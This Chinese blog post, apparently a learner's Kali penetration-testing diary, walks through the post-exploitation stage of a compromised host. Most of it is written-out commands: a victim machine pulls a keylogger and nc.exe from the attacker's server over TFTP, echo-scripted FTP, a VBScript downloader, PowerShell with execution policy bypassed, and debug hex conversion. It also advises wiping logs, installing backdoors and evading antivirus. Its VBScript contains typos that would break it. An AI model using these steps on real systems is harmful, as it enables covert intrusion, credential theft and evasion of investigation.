后渗透测试阶段--上传工具

为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段

1、上传各种工具

2、提权:为了全面控制目标系统

3、擦除攻击痕迹:防止管理员通过日志溯源追踪,发现攻击源头【除了系统日记,应用程序也会有自己的日志信息】

##删除系统日记和应用程序日记

例如:SLmail中

4、安装后门程序

实现长期控制,Dump密码,作为跳板进行内网渗透【大部分情况下,比公网渗透简单】

注:后渗透利用阶段

最大的挑战:防病毒软件【根据病毒特征库进行查杀】。所以我们需要使用合法的远程控制软件(NC)【尽量做到免杀,但也有可能在防病毒软件更新特征库后,被检测出来】

上传工具

目的:持久控制,扩大对目标系统的控制能力

Linux系统

linux系统下实现上传工具比较容易,因为其默认安装netcat、curl、wget,即使没有安装netcat,也可以轻易地使用curl和wget去黑客共享的服务器下载安装木马、netcat等【curl和wget一定会在linux系统下默认安装】

Windows系统

相对来说,windows系统下缺少预装工具,难以进行木马等工具的下载

getshell后,windows系统下载木门工具实例

http://www.freebuf.com/articles/network/100788.html

根据小白日记17,getshell【此为类NC远程控制shell,是一种非交互型的shell(即该命令行窗口下必须输入完整的命令,无法tab键补全)】

交互型shell与非交互型shell区别:http://kuku789123.blog.163.com/blog/static/1361673512012101513628599/

在windows系统下安装ftp软件,体验非交互型shell的坏处,添加/删除组件中【appwiz.cpl】【需插入光盘】

因此我们必须上传一些能提供交互型的木马程序【灰鸽子等】

上传工具姿势

1、使用TFTP传输文件【构造一个TFTP服务器,在服务器中放置工具木马等,再通过被控端连接下载】

XP、2003中默认安装,Win7、2008以后的系统需要单独添加,但经常被边界防火墙过滤。主流为FTP,是因为基于UDP协议,明文传输,不支持身份验证

利用kali

mkdir /tftp   #创建tftp目录

chown -R nobody 设置权限所有者为nobody【无本地登录权限】

cp /usr/share/windows-binaries/whoami.exe /tftp/       #windows下查看当前用户

cp /usr/share/windows-binaries/klogger.exe /tftp/       #拷贝键盘记录器

atftpd --daemon --port 69 /tftp/              #daemon,用后台方式启动,主目录指向tftp

由于权限问题,会出现以下这个常见问题【启动进程不是tftp】

需kill 543这个进程,使用chown -R nobody /tftp/   【将所有者改成nobody】

重启服务

进到shell窗口,查看tftp

进行tftp文件传输

tasklist  #查看进程

键盘记录器会记录管理员的输入,再同目录下会生成记录键盘输入的文本文件

type klogger

2、使用FTP传输

先在kali上apt-get install pure-ftpd

使用脚本配置【切记:设置的密码,下面echo会用到】

  1. #!/bin/bash
  2. groupadd ftpgroup
  3. useradd -g ftpgroup -d /dev/null -s /etc ftpuser
  4. pure-pw useradd yuanfh -u ftpuser -d /ftphome
  5. pure-pw mkdb
  6. cd /etc/pure-ftpd/auth/
  7. ln -s ../conf/PureDB 60pdb
  8. mkdir -p /ftphome
  9. chown -R ftpuser:ftpgroup /ftphome/ #创建的ftp主目录
  10. /etc/init.d/pure-ftpd restart

验证ftp

因为非交互系统中,ftp传输,在password命令处无法显示,所以需要通过转换思路进行下载

思路:【将要实现的命令写到目标服务器的文本文件中,用ftp读取文本文件的命令进行下载】

  1. C:\>echo open 192.168.1.127 21>ftp.txt
  2. echo open 192.168.1.127 21>ftp.txt
  3.  
  4. C:\>echo yuanfh>>ftp.txt
  5. echo yuanfh>>ftp.txt
  6.  
  7. C:\>echo password>>ftp.txt
  8. echo password>>ftp.txt
  9.  
  10. C:\>echo bin>>ftp.txt
  11. echo bin>>ftp.txt
  12.  
  13. C:\>echo GET whoami.exe >> ftp.txt
  14. echo GET whoami.exe >> ftp.txt
  15.  
  16. C:\>echo GET klogger.exe >> ftp.txt
  17. echo GET klogger.exe >> ftp.txt
  18.  
  19. C:\>echo bye >> ftp.txt
  20. echo bye >> ftp.txt

##先将whoami,klogger等程序拷贝到ftphome目录【cp /tftp/* /ftphome/】
ftp -s:ftp.txt

3、使用VBSCRIRT传输文件

#VBS是windows系统上默认的解释型脚本语言,在win7后增加了perl

##通过web程序,http协议下载远程控制程序,需在kali启动apache2

  1. root@kali:~# service apache2 start
  2. root@kali:~# netstat -pantu | grep :80
  3. tcp6 0 0 :::80 :::* LISTEN 4433/apache2

进入apache2默认目录,拷贝文件

  1. root@kali:~# cd /var/www/html
  2. root@kali:/var/www/html# cp /ftphome/* .
  3. root@kali:/var/www/html# ls
  4. index.html klogger.exe whoami.exe
  5. root@kali:/var/www/html#

粘贴以下命令到shell窗口

  1. echo strUrl = WScript.Arguments.Item(0) > wget.vbs
  2. echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
  3. echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs
  4. echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs
  5. echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs
  6. echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs
  7. echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs
  8. echo Err.Clear >> wget.vbs
  9. echo Set http = Nothing >> wget.vbs
  10. echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
  11. echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs
  12. echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs
  13. echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs
  14. echo http.Open "GET",strURL,False >> wget.vbs
  15. echo http.Send >> wget.vbs
  16. echo varByteArray = http.ResponseBody >> wget.vbs
  17. echo Set http = Noting >> wget.vbs
  18. echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs
  19. echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
  20. echo strData = "" >> wget.vbs
  21. echo strBuffer = "" >> wget.vbs
  22. echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
  23. echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs
  24. echo Next >> wget.vbs
  25. echo ts.Close >> wget.vbs

cscript wget.vbs http://192.168.1.127/whoami.exe w.exe

【windows系统自带的cscipt命令去下载whoami.exe 命名成w.exe,传输完成后,需重启一下目标系统】

4、使用POWERSHELL传输文件  【到目标服务器下载程序】

##需在windows系统下运行

  1. $strongeDir = $pwd
  2. $webclient = New-Object System.Net.WebClient
  3. $url = "http://192.168.1.127/whoami.exe"
  4. $file = "new-exsploit.exe"
  5. $webclient DownloadFile($url,$file)

powershell.exe -ExecutionPolicy Bypass  -NoLogo -Nonlnteractive -Noprofile -File wget.ps1

5、使用DEBUG传输文件

Debug是一种汇编、反汇编的16进制dump工具,作为文件传输,默认情况下只能传输64k字节的数据

一、使用upx压缩文件进行压缩再进行传输

cp /usr/share/windows-binaries/nc.exe .   #拷贝nc到根目录

  1. root@kali:~# upx -9 nc.exe #-9:最高程度压缩
  2. Ultimate Packer for eXecutables
  3. Copyright (C) 1996 - 2013
  4. UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
  5.  
  6. File size Ratio Format Name
  7. -------------------- ------ ----------- -----------
  8. 59392 -> 29184 49.14% win32/pe nc.exe
  9.  
  10. Packed 1 file.

二、将exe程序转化成16进制文本格式

wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
将文本文件中的16进制代码(除倒数两行外)全部复制到shell窗口中

debug<123.hex      #生成1.dll

copy 1.dlll nc.exe

小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具的更多相关文章

  1. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  2. Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

    Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap 网络扫描和嗅探工具——Nmap Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具.该工具可以扫描 ...

  3. Android渗透测试Android渗透测试入门教程大学霸

    Android渗透测试Android渗透测试入门教程大学霸 第1章  Android渗透测试 Android是一种基于Linux的自由及开放源代码的操作系统,主要用于移动设备,如智能手机.平板等.目前 ...

  4. 火眼推出Windows免费渗透测试套件,包含140多款工具

    火眼推出Windows免费渗透测试套件,包含140多款工具 2019年3月28日,火眼发布了一个包含超过140个开源Windows渗透工具包,红队渗透测试员和蓝队防御人员均拥有了顶级侦察与漏洞利用程序 ...

  5. kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描

    一.利用Nmap扫描网站服务器的端口开放情况 首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: 因此,通过这个结果可以表明csdn ...

  6. kali linux 渗透测试视频教程 第五课 社会工程学工具集

    第五课 社会工程学工具集 文/玄魂 教程地址:http://edu.51cto.com/course/course_id-1887.html   目录 第五课社会工程学工具集 SET SET的社会工程 ...

  7. VPS速度测试(4):上传下载速度、服务器带宽、Ping响应时间

    1.VPS的速度好坏经常是我们选择某一个VPS商家的重要参考指标,对于国外的VPS主机我们可以执行以下命令来测试VPS入口带宽是多少. wget https://cachefly.cachefly.n ...

  8. ignore_user_abort(true); set_time_limit(0);程序在本地测试可以一直运行,上传服务器只能运行10-15分钟

    当PHP运行在安全模式下时此函数无效.除了关闭安全模式或者在php.ini程序中修改最大运行时间没有其他办法让此函数运行. php.ini 中缺省的最长执行时间是 30 秒,这是由 php.ini 中 ...

  9. 201709012工作日记--一台电脑创建两个Github账户上传代码

    1. 在一台主机上面使用多个GitHub账号 有时候,我们需要将个人账号和公司账号区分,这时候我们就会需要在一台电脑上使用2个不同的git账号. 2. 上传文件 http://blog.csdn.ne ...

随机推荐

  1. <Chapter 2>2-2.开发应用(developing the Application)

    一个App Engine应用对网络请求做出响应.它是通过调用请求处理器(quest handlers)来实现的,接受请求参数并返回响应的程序.对于来自请求URL上的请求,App Engine通过一个配 ...

  2. ESXi 与其它虚拟化底层产品之比较:

    序号 虚拟化管理程序属性 VMware ESXi 5.0 采用 Hyper-V 的 Windows Server 2008 R2 SP1 Citrix XenServer 5.6 FP1  1 磁盘占 ...

  3. [JLOI2013]地形生成

    JLOI2013过了好长时间,才写第四题.. 第一问比较好想. 第二问我想到了n^3次方的做法,但是数据....于是没敢写,然后上网查了一下题解,居然是O(n^3)过的,数据这么弱... /* * P ...

  4. 什么是USBMini接口

    USB的接口有四种.一种是大头,有A型和B型两种,其中A型最常见,就是我们用的最多的标准的USB接头:一种是小头的,也就是USB Mini,也有A型和B型两种,其中B型应用最多,主要应用于手机.MP4 ...

  5. poj 3268 Silver Cow Party(最短路)

    Silver Cow Party Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 17017   Accepted: 7767 ...

  6. HDU 1394 Minimum Inversion Number (树状数组求逆序对)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1394 题目让你求一个数组,这个数组可以不断把最前面的元素移到最后,让你求其中某个数组中的逆序对最小是多 ...

  7. UI进阶 动画

    前言:所谓动画,即应用界面上展示的各种过渡效果,不过其实没有动画并不影响我们产品的功能实现 一.动画 1.动画可以达到的效果 传达状态 提高用户对直接操作的感知 帮助用户可视化操作的结果 2.使用动画 ...

  8. Egret项目Typescript的编译报错

    今天编译项目,出现了一个奇怪的报错,如下: E:\engine\egret-core-3.1.2\tools\lib\typescript\tsclark.js:41531 1> if (fil ...

  9. SQLite内存数据库

    [转]SQLite内存数据库 http://www.cnblogs.com/liuyong/archive/2010/09/14/1826152.html SQLite 介绍 一. SQLite 是实 ...

  10. VS2012与NUnit

    微软提供的NUnit插件是针对vs2010的,而vs2012会自动识别,测试环境为64位win7,具体操作步骤如下 1.下载安装NUnit(NUnit-2.6.3.msi) 2.新建测试项目UnitT ...